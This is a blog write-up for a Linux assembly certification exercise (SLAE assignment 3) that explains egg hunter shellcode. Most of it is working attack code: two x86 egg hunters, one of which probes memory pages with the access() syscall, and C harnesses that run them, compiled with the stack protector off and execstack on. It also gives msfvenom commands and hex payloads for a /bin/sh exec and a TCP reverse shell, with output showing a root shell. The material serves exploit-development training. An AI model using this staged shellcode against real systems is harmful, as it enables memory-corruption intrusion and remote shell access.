SLAE Assignment 3 - Egg hunter

    Student SLAE - 891
    Github: https://github.com/phackt/slae
    http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

    Hello everybody,

    So here we are for the third part of our shellcodes serie. Today we will deal with the concept of egg hunter shellcode.

    Assignment 3:

    Code is available on my github repo.

    Our Goal:

    Study about the egg hunter shellcode

    • Create a working demo of the Egghunter
    • Should be configurable for different payloads

    So what is an egg hunter and its related egg shellcode?

    While your exploiting buffer overflows, the shellcode you inject will face several constraints in order to properly execute, and the size limit is one of them. An idea is to stage the shellcode: the first stage will be a small shellcode looking for the effective and bigger second one.

    Here is a bit of litterature that may help to understand the egg hunter concept:
    http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
    http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/

    The above second link will provide a good overview of the Linux memory layout. For this exercise, we will use an in-memory egg hunter shellcode.

    So let’s try with a first example:

    global  _start
    
    section .text
    _start:
    
        mov eax, _start             ; we set a valid .text address into eax
        mov ebx, dword 0x50905091   ; we can avoid an 8 bytes tag in egg if the tag
        dec ebx                     ; can not be found in the egg hunter, that's why we decrement to look for 
                                    ; 0x50905090 - push eax, nop, push eax, nop
    
    next_addr:
    
        inc eax
        cmp dword [eax], ebx        ; do we found the tag ?
        jne next_addr
        jmp eax                     ; yes we do so we jump to the egg
    
    

    N.B: Our egg hunter on exploit-db: https://www.exploit-db.com/exploits/41909/.

    Now let’s update shellcode.c:

    #include<stdio.h>
    #include<string.h>
    
    unsigned char egghunter[] = \
    "\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0";
    
    unsigned char egg[] = \
    "\x90\x50\x90\x50" // egg mark - do not remove
    "\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
    "\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
    "\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
    "\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
    "\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";
    
    void main()
    {
    
    	printf("Egg hunter shellcode Length:  %d\n", strlen(egghunter));
    	printf("Egg shellcode Length:  %d\n", strlen(egg));
    
    	int (*ret)() = (int(*)())egghunter;
    
    	ret();
    
    }
    

    Let’s run our egg hunter:
    image1

    Perfect, but why did it work ? In our shellcode.c the egg has been placed in the .data segment (global initialized variables). According to the following picture (anatomy of a program in memory), we can see that the .text, .data and .bss segments are contigous and readable:

    linuxflexibleaddressspacelayout.png

    let’s check for our shellcode’s memory mapping in gdb:
    image2

    1563 is our shellcode process id:

    # cat /proc/1563/maps
    08048000-08049000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
    08049000-0804a000 r-xp 00000000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
    0804a000-0804b000 rwxp 00001000 08:01 2885480    /root/Documents/pentest/certs/slae/exam/assignment3/shellcode
    0804b000-0806c000 rwxp 00000000 00:00 0          [heap]
    b7dfb000-b7fac000 r-xp 00000000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
    b7fac000-b7fae000 r-xp 001b0000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
    b7fae000-b7faf000 rwxp 001b2000 08:01 269855     /lib/i386-linux-gnu/libc-2.24.so
    b7faf000-b7fb2000 rwxp 00000000 00:00 0 
    b7fd3000-b7fd6000 rwxp 00000000 00:00 0 
    b7fd6000-b7fd9000 r--p 00000000 00:00 0          [vvar]
    b7fd9000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
    b7fdb000-b7ffd000 r-xp 00000000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
    b7ffe000-b7fff000 r-xp 00022000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
    b7fff000-b8000000 rwxp 00023000 08:01 269850     /lib/i386-linux-gnu/ld-2.24.so
    bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
    

    Our three first segments are respectively the .text, .data, .bss segment. As we can see, we have no unreadable spaces between them. If a memory segment was unreadable, we would have had a segmentation fault (SIGSEGV - Signal Segmentation Violation).

    Let’s try now to place our egg shellcode in the heap space (we keep the same egg hunter):

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define EGGMARK "\x50\x90\x50\x90"
    
    unsigned char egghunter[] = \
    "\xb8\x60\x80\x04\x08\xbb\x91\x50\x90\x50\x4b\x40\x39\x18\x75\xfb\xff\xe0";
    
    unsigned char egg[] = \
    EGGMARK
    "\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
    "\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
    "\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
    "\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
    "\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";
    
    void main()
    {
    
    	char *shellcode_heap = malloc(sizeof(egg)); // shellcode egg + egg mark
    	memcpy(shellcode_heap, egg, sizeof(egg));
    
    	printf("Egg hunter shellcode Length:  %d\n", strlen(egghunter));
    	printf("Egg shellcode Length:  %d\n", strlen(shellcode_heap));
    
    	int (*ret)() = (int(*)())egghunter;
    
    	ret();
    
    }
    

    Running and executing it:

    # ./shellcode_heap
    Egg hunter shellcode Length:  18
    Egg shellcode Length:  74
    Erreur de segmentation
    

    We met a segmentation violation because our egg hunter is facing a memory access violation.
    However a technique consists in using the access system call that originally check users permissions for a file. Giving our memory address as the first argument, we will be able to check if a memory page is accessible. If not, the syscall will return EFAULT (14) into EAX:

    int access(const char *pathname, int mode);
    

    Syscall number:

    #define __NR_access 33
    

    Dans /usr/include/asm-generic/errno-base.h:

    #define	EFAULT		14	/* Bad address */
    

    We will go through the memory pages and parse each readable memory page in order to look for our egg shellcode.

    # getconf PAGE_SIZE
    4096
    

    Here is what our new egg hunter looks like:

    global _start
     
    section .text
     
    _start:
    
            xor ecx,ecx         ; ecx zeroed out
            mul ecx             ; clear eax, edx
    
     next_page:
            or bx, 0xfff        ; 0x1000 - 1 (4095)
            mov edi, dword 0x50905091
            dec edi
    
    next_addr:
            inc ebx             ; +1 so we move to the next 4096 bytes (next page)
            push byte 0x21      ; access syscall
            pop eax
            int 0x80
     
            cmp al, 0xf2         ; check for EFAULT
            je _start            ; if EFAULT, we are going to the nextpage
            cmp dword [ebx], edi ; our egg mark
            jne next_addr        ; we are parsing the readable memory page
            lea eax, [ebx+4]     ; @ of the shellcode
            jmp eax
    

    Replacing the egg hunter in our shellcode_heap.c with the above egg hunter shellcode, compiling and executing provides:

    # gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  && ./shellcode_heap
    Egg hunter shellcode Length:  34
    Egg shellcode Length:  74
    # id  
    uid=0(root) gid=0(root) groups=0(root)
    # 
    

    You can try with any egg shellcode you want and set it just after the EGG variable. Let’s try with a TCP reverse shellcode:

    # msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c -b \x00
    ...
    unsigned char buf[] = 
    "\xbb\x6d\xed\x21\x01\xdb\xcf\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
    "\x12\x31\x5a\x12\x83\xea\xfc\x03\x37\xe3\xc3\xf4\xf6\x20\xf4"
    "\x14\xab\x95\xa8\xb0\x49\x93\xae\xf5\x2b\x6e\xb0\x65\xea\xc0"
    "\x8e\x44\x8c\x68\x88\xaf\xe4\x15\x6a\x50\xf5\x81\x68\x50\xe4"
    "\x0d\xe4\xb1\xb6\xc8\xa6\x60\xe5\xa7\x44\x0a\xe8\x05\xca\x5e"
    "\x82\xfb\xe4\x2d\x3a\x6c\xd4\xfe\xd8\x05\xa3\xe2\x4e\x85\x3a"
    "\x05\xde\x22\xf0\x46";
    

    Let’s compile and execute shellcode_heap.c:

    # gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  && ./shellcode_heap
    Egg hunter shellcode Length:  34
    Egg shellcode Length:  99
    
    

    In another windows:
    image4

    So in this article we just saw how to create a two-staged shellcode. One stage consists in injecting our effective payload (the biggest one) and the second one consists in a small hunter shellcode looking for the first one.

    Hope you enjoyed,
    Don’t hesitate to comment and share.

    Phackt